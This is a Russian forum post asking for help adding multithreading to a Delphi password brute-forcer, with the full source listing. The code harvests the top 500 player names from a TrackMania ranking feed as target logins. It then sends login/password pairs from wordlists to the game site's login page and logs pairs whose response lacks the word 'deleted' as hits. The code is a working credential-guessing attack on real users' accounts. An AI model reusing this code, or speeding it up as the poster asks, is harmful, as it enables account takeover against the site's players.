[Delphi] Добавить многопоточность бруту
Есть брут и есть проблема. Как я понял, согласно исходному коду, который я привёл ниже (полный листинг) брут у меня работает в один поток. Я что-то где-то слышал про какую-то асинхронность и неблокирующие сокеты, но как реализовать многопоточный коннект я не знаю. Помогите, кто чем может.
Если вдруг понадобится ещё что-то (например, форма) - я предоставлю.
Код:
unit Main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Grids, StdCtrls, xmldom, XMLIntf, oxmldom, XMLDoc,
IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
msxmldom, OleCtrls, SHDocVw, MSXML, DBGrids, XPMan, ComCtrls, ImgList,
ExtCtrls, DB, DBClient, Provider, WinSock, Sockets, ScktComp;
Const
WebServer = 'www.trackmanianations.com';
WebPort = 80;
PostAddr = '/indexUk.php';
HTTP_Data =
'Content-Type: application/x-www-form-urlencoded'#10+
'User-Agent: Delphi/7.0 ()'#10+
'Host: www.trackmanianations.com'#10+
'Connection: Keep-Alive'#10;
type
TForm1 = class(TForm)
GroupBox : TGroupBox;
Button1 : TButton;
Button2 : TButton;
Edit1 : TEdit;
Edit2 : TEdit;
ProgressBar : TProgressBar;
StringGrid : TStringGrid;
ClientSocket : TClientSocket;
XMLDocument : TXMLDocument;
Timer1 : TTimer;
Timer2 : TTimer;
Label1 : TLabel;
Label2 : TLabel;
Label3 : TLabel;
Label4 : TLabel;
Label5 : TLabel;
procedure Button1Click (Sender: TObject);
procedure Button2Click (Sender: TObject);
procedure Form1Show (Sender: TObject);
procedure ClientSocketWrite (Sender: TObject; Socket: TCustomWinSocket);
procedure ClientSocketRead (Sender: TObject; Socket: TCustomWinSocket);
procedure ClientSocketDisconnect (Sender: TObject; Socket: TCustomWinSocket);
procedure ClientSocketError (Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure Timer1Timer (Sender: TObject);
procedure Timer2Timer (Sender: TObject);
procedure GridClean (Sender: TObject);
procedure GridAlign (Sender: TObject; ACol, ARow: Integer; Rect: TRect; State: TGridDrawState);
procedure POST;
private
{ Private declarations }
HTTP_POST : String;
FContent : String;
FResult : String;
Login : String;
Password : String;
shag : Longint;
k : Longint;
variant : Longint;
variantov : Longint;
public
{ Public declarations }
end;
var
Form1 : TForm1;
q, w : Integer;
Loginfile : Textfile;
Passfile : Textfile;
implementation
uses StrUtils;
{$R *.dfm}
//------ Действия при открытии формы -------------------------------------------
procedure TForm1.Form1Show(Sender: TObject);
begin
StringGrid.Rows[0].Strings[0]:='Логин';
StringGrid.Rows[0].Strings[1]:='Пароль';
GridClean(StringGrid);
shag := 1;
q := 0;
w := 0;
k := 0;
variant := 0;
Label3.Caption := 'Выполняется:';
Label4.Caption := 'Текущий вариант:';
Label5.Caption := 'Скорость перебора:';
end;
//------------------------------------------------------------------------------
//------ Всякие кренделя с сокетами --------------------------------------------
procedure TForm1.ClientSocketWrite(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText(HTTP_POST+FContent);
Label3.Caption := 'Выполняется: '+Login+' : '+Password;
Label4.Caption := 'Текущий вариант: '+IntToStr(variant+1)+' из '+IntToStr(variantov)+' возможных';
end;
procedure TForm1.ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
begin
FResult:=FResult+Socket.ReceiveText;
end;
procedure TForm1.ClientSocketDisconnect(Sender: TObject; Socket: TCustomWinSocket);
begin
variant := variant+1;
if variantov > 0 then
ProgressBar.Position := StrToInt(FloatToStr(round(variant*100/variantov)))
else
ProgressBar.Position := 100;
if pos('deleted', FResult) = 0 then
begin
StringGrid.Rows[shag].Strings[0]:= Login;
StringGrid.Rows[shag].Strings[1]:= Password;
shag := shag+1;
if shag > 5 then StringGrid.RowCount := StringGrid.RowCount+1;
end;
ClientSocket.Close;
if variant < variantov then
begin
Timer1.Enabled:=true;
end else
Begin
Timer1.Enabled:=false;
Timer2.Enabled:=false;
Label3.Caption := 'Выполняется: вариантов больше нет';
Label4.Caption := 'Текущий вариант: вариантов больше нет';
Label5.Caption := 'Скорость перебора: вариантов больше нет';
end;
end;
procedure TForm1.ClientSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
ErrorCode := 0;
end;
//------------------------------------------------------------------------------
//------ Перебор и посылка данных ----------------------------------------------
procedure TForm1.Timer1Timer(Sender: TObject); // Процедура включения первого таймера.
begin // Поехали.
if Eof(PassFile) then // Если пассы кончились, то
Begin // делаем следущее:
Reset(Passfile); // вернуться к началу файла пассов
ReadLn (Loginfile, Login); // и взять следущий логин из списка.
end; // Вот так-то. ;)
ReadLn (Passfile, Password); // При каждом включении таймера считывается новый пасс,
Timer1.Enabled := false; // сам таймер после этого ставится на ручник
POST; // и пароль вместе с логином отправляются в процедуру формирования запроса.
end; // Закончилась процедура.
//
procedure TForm1.POST; // Процедура подстановки и отправки данных.
begin // Поехали.
FResult:=''; // Обнуляем результат получения предыдущего контента.
FContent:= // Записываем в структуру запроса POST новые данные
'username='+ Login +'&'+ // ... имя пользователя
'password='+ Password +'&'+ // ... пароль пользователя
'Submit=ok'+ // ... и эмулируем нажатие кнопки "ОК" из формы.
#10; // Далее завершаем формирование структуры запроса...
FContent := 'Content-Length: '+IntToStr(Length(FContent))+#10+#10+FContent; // ...
ClientSocket.Host := WebServer; // ...
ClientSocket.Port := WebPort; // ...
HTTP_POST := 'POST '+PostAddr+' HTTP/1.0'#10; // ...
HTTP_Post := HTTP_Post + HTTP_Data; // ...
ClientSocket.Open; // ... и открываем сокет. Данные из POST-запроса передадутся куда надо.
end; // Вот, собственно, и всё.
//------------------------------------------------------------------------------
//------ Генерация списка ТОП 500 пользователей --------------------------------
procedure TForm1.Button1Click(Sender: TObject);
var player, nd : IXMLNode;
i : longint;
Memo : TMemo;
begin
Memo := TMemo.Create(Form1); // На лету создаём TМемо, куда будет
Memo.Visible := False; // скидываться весь список. Впоследствии этот список
Memo.Parent := Form1; // автоматически сохраняется на диск с именем logins.txt
Memo.Clear;
self.XMLDocument.LoadFromFile ('http://tmnstats.rockweb.org/xml_ranking_players.php?limit=500');
self.XMLDocument.Active := true;
nd := XMLDocument.ChildNodes['ranking'].ChildNodes['players'];
for i:=0 to nd.ChildNodes.Count-1 do
begin
player:=nd.ChildNodes[i];
Memo.Lines.Add (player.ChildValues['name']);
end;
DeleteFile ('logins.txt');
Memo.Lines.SaveToFile ('logins.txt');
XMLDocument.Active:=false;
end;
//------------------------------------------------------------------------------
//------ Действия при нажатии кнопки перебора ----------------------------------
procedure TForm1.Button2Click(Sender: TObject);
var
LoginCount : TStringList;
PassCount : TStringList;
LGN, PSW : Integer;
begin
AssignFile(Loginfile, Edit1.Text);
AssignFile(Passfile, Edit2.Text);
if not FileExists(Edit1.Text) then
Begin
Rewrite(Loginfile);
Application.MessageBox(PChar('Заполните файл '+Edit1.Text+' логинами'), 'Ошибка', mb_Ok);
end;
if not FileExists(Edit2.Text) then
Begin
Rewrite(Passfile);
Application.MessageBox(PChar('Заполните файл '+Edit2.Text+' паролями'), 'Ошибка', mb_Ok);
end;
Reset(Loginfile);
Reset(Passfile);
Button1.Enabled := False;
Button2.Enabled := False;
Edit1.Enabled := False;
Edit2.Enabled := False;
ReadLn (Loginfile, Login);
Timer1.Enabled := true;
Timer2.Enabled := true;
Button2.Caption := 'Время перебора: 0 сек.';
LoginCount := TStringList.Create;
LoginCount.LoadFromFile(Edit1.Text);
LGN := LoginCount.Count;
LoginCount.Free;
PassCount := TStringList.Create;
PassCount.LoadFromFile(Edit2.Text);
PSW := LoginCount.Count;
PassCount.Free;
Variantov := LGN*PSW;
end;
//------------------------------------------------------------------------------
//------ Вычисление времени работы брутфорса -----------------------------------
procedure TForm1.Timer2Timer(Sender: TObject);
begin
k := k+1;
Button2.Caption := 'Время перебора: '+IntToStr(k)+' сек.';
Label5.Caption := 'Скорость перебора: '+FloatToStr(round(variant*60/k))+' вариантов в минуту';
end;
//------------------------------------------------------------------------------
//------ Процедуры очистки выделения и выравнивания таблиц ---------------------
procedure TForm1.GridClean(Sender: TObject);
var hGridRect: TGridRect;
begin
hGridRect.Top := -1;
hGridRect.Left := -1;
hGridRect.Right := -1;
hGridRect.Bottom := -1;
(Sender as TStringGrid).Selection := hGridRect;
end;
procedure TForm1.GridAlign(Sender: TObject; ACol, ARow: Integer; Rect: TRect; State: TGridDrawState);
var s: string;
begin
with Sender as TStringGrid do begin
s:=cells[acol,arow];
canvas.FillRect (rect);
rect.right:=rect.Right -2;
DrawText(canvas.handle,pchar(s),-1,Rect, DT_SINGLELINE OR DT_VCENTER OR DT_CENTER);
end;
end;
//------------------------------------------------------------------------------
end.
|
